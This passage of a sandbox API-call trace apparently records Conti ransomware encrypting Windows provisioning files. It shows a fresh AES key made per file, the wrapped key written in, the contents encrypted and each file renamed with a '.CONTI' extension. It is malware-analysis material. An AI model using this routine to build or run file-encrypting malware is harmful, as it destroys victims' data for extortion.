	[0111.968] SetFilePointer (in: hFile=0x3e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.968] CloseHandle (hObject=0x3e8) returned 1
	[0111.968] GetProcessHeap () returned 0x1720000
	[0111.968] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.968] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml"
	[0111.968] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml.CONTI"
	[0111.968] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\460__connections_cellular_kyivstar (ukraine)_i2$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\460__Connections_Cellular_Kyivstar (Ukraine)_i2$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\460__connections_cellular_kyivstar (ukraine)_i2$(__mvid)@wap.provxml.conti")) returned 1
	[0111.969] GetProcessHeap () returned 0x1720000
	[0111.969] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.969] CryptDestroyKey (hKey=0x6b7f478) returned 1
	[0111.969] GetProcessHeap () returned 0x1720000
	[0111.969] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6e70 | out: hHeap=0x1720000) returned 1
	[0111.969] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0111.969] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x1805e40 | out: phKey=0x1805e40*=0x6b7f038) returned 1
	[0111.969] CryptExportKey (in: hKey=0x6b7f038, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x1805e44, pdwDataLen=0x37ffcec | out: pbData=0x1805e44*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0111.970] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\462__connections_cellular_kyivstar (ukraine)_i4$(__mvid)@wap.provxml")) returned 0x20
	[0111.971] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\462__connections_cellular_kyivstar (ukraine)_i4$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0111.971] GetLastError () returned 0x0
	[0111.971] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=717) returned 1
	[0111.971] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cd
	[0111.971] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.971] SetEndOfFile (hFile=0x37c) returned 1
	[0111.972] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.972] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.972] WriteFile (in: hFile=0x37c, lpBuffer=0x1805e44*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x1805e44*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0111.977] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.977] ReadFile (in: hFile=0x37c, lpBuffer=0x8950000, nNumberOfBytesToRead=0x2cd, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x2cd, lpOverlapped=0x0) returned 1
	[0111.977] CryptEncrypt (in: hKey=0x6b7f038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2cd, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2d0) returned 1
	[0111.977] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.977] WriteFile (in: hFile=0x37c, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x2d0, lpOverlapped=0x0) returned 1
	[0111.977] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.977] WriteFile (in: hFile=0x37c, lpBuffer=0x1805e38*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x1805e38*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0111.977] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.977] CloseHandle (hObject=0x37c) returned 1
	[0111.977] GetProcessHeap () returned 0x1720000
	[0111.977] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.977] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml"
	[0111.977] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml.CONTI"
	[0111.977] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\462__connections_cellular_kyivstar (ukraine)_i4$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\462__Connections_Cellular_Kyivstar (Ukraine)_i4$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\462__connections_cellular_kyivstar (ukraine)_i4$(__mvid)@wap.provxml.conti")) returned 1
	[0111.978] GetProcessHeap () returned 0x1720000
	[0111.978] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.978] CryptDestroyKey (hKey=0x6b7f038) returned 1
	[0111.978] GetProcessHeap () returned 0x1720000
	[0111.978] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d74d8 | out: hHeap=0x1720000) returned 1
	[0111.978] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0111.978] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x1803778 | out: phKey=0x1803778*=0x6b7f038) returned 1
	[0111.978] CryptExportKey (in: hKey=0x6b7f038, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x180377c, pdwDataLen=0x37ffcec | out: pbData=0x180377c*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0111.979] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\464__connections_cellular_umc (ukraine)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.979] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\464__connections_cellular_umc (ukraine)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0111.980] GetLastError () returned 0x0
	[0111.980] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=641) returned 1
	[0111.980] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x281
	[0111.980] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.980] SetEndOfFile (hFile=0x37c) returned 1
	[0111.980] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.980] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.980] WriteFile (in: hFile=0x37c, lpBuffer=0x180377c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x180377c*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0111.986] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.986] ReadFile (in: hFile=0x37c, lpBuffer=0x8950000, nNumberOfBytesToRead=0x281, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x281, lpOverlapped=0x0) returned 1
	[0111.986] CryptEncrypt (in: hKey=0x6b7f038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x281, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x290) returned 1
	[0111.986] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.986] WriteFile (in: hFile=0x37c, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x290, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x290, lpOverlapped=0x0) returned 1
	[0111.986] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.987] WriteFile (in: hFile=0x37c, lpBuffer=0x1803770*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x1803770*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0111.987] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.987] CloseHandle (hObject=0x37c) returned 1
	[0111.987] GetProcessHeap () returned 0x1720000
	[0111.987] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.987] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml"
	[0111.987] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.987] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\464__connections_cellular_umc (ukraine)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\464__Connections_Cellular_UMC (Ukraine)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\464__connections_cellular_umc (ukraine)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.988] GetProcessHeap () returned 0x1720000
	[0111.988] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.988] CryptDestroyKey (hKey=0x6b7f038) returned 1
	[0111.988] GetProcessHeap () returned 0x1720000
	[0111.988] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1808fa8 | out: hHeap=0x1720000) returned 1
	[0111.988] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0111.988] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x18049b8 | out: phKey=0x18049b8*=0x6b7f538) returned 1
	[0111.988] CryptExportKey (in: hKey=0x6b7f538, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x18049bc, pdwDataLen=0x37ffcec | out: pbData=0x18049bc*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0111.989] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\466__connections_cellular_du (united arab emirates)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.989] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\466__connections_cellular_du (united arab emirates)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0111.989] GetLastError () returned 0x0
	[0111.989] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x37ffc98 | out: lpFileSize=0x37ffc98*=702) returned 1
	[0111.989] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2be
	[0111.989] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.989] SetEndOfFile (hFile=0x37c) returned 1
	[0111.989] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.989] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.990] WriteFile (in: hFile=0x37c, lpBuffer=0x18049bc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x37ffca4, lpOverlapped=0x0 | out: lpBuffer=0x18049bc*, lpNumberOfBytesWritten=0x37ffca4*=0x20c, lpOverlapped=0x0) returned 1
	[0111.996] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.996] ReadFile (in: hFile=0x37c, lpBuffer=0x8950000, nNumberOfBytesToRead=0x2be, lpNumberOfBytesRead=0x37ffcc4, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesRead=0x37ffcc4*=0x2be, lpOverlapped=0x0) returned 1
	[0111.996] CryptEncrypt (in: hKey=0x6b7f538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2be, dwBufLen=0x500000 | out: pbData=0x8950000*, pdwDataLen=0x37ffcbc*=0x2c0) returned 1
	[0111.996] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0111.996] WriteFile (in: hFile=0x37c, lpBuffer=0x8950000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x37ffcd8, lpOverlapped=0x0 | out: lpBuffer=0x8950000*, lpNumberOfBytesWritten=0x37ffcd8*=0x2c0, lpOverlapped=0x0) returned 1
	[0111.996] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0111.996] WriteFile (in: hFile=0x37c, lpBuffer=0x18049b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x37ffcf0, lpOverlapped=0x0 | out: lpBuffer=0x18049b0*, lpNumberOfBytesWritten=0x37ffcf0*=0x8, lpOverlapped=0x0) returned 1
	[0111.996] SetFilePointer (in: hFile=0x37c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0111.997] CloseHandle (hObject=0x37c) returned 1
	[0111.997] GetProcessHeap () returned 0x1720000
	[0111.997] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0111.997] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml"
	[0111.997] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml.CONTI"
	[0111.997] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\466__connections_cellular_du (united arab emirates)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\466__Connections_Cellular_du (United Arab Emirates)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\466__connections_cellular_du (united arab emirates)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0111.997] GetProcessHeap () returned 0x1720000
	[0111.997] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0111.997] CryptDestroyKey (hKey=0x6b7f538) returned 1
	[0111.997] GetProcessHeap () returned 0x1720000
	[0111.997] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d1518 | out: hHeap=0x1720000) returned 1
	[0111.998] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x37ffd14, lpCompletionKey=0x37ffd18, lpOverlapped=0x37ffd24) returned 1
	[0111.998] CryptGenKey (in: hProv=0x1745e90, Algid=0x6610, dwFlags=0x1, phKey=0x1803e50 | out: phKey=0x1803e50*=0x6b7f478) returned 1
	[0111.998] CryptExportKey (in: hKey=0x6b7f478, hExpKey=0x173a710, dwBlobType=0x1, dwFlags=0x0, pbData=0x1803e54, pdwDataLen=0x37ffcec | out: pbData=0x1803e54*, pdwDataLen=0x37ffcec*=0x20c) returned 1
	[0111.998] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\468__connections_cellular_etisalat (united arab emirates)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0111.998] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\468__Connections_Cellular_Etisalat (United Arab Emirates)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\468__connections_cellular_etisalat (united arab emirates)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0111.999] GetLastError () returned 0x0
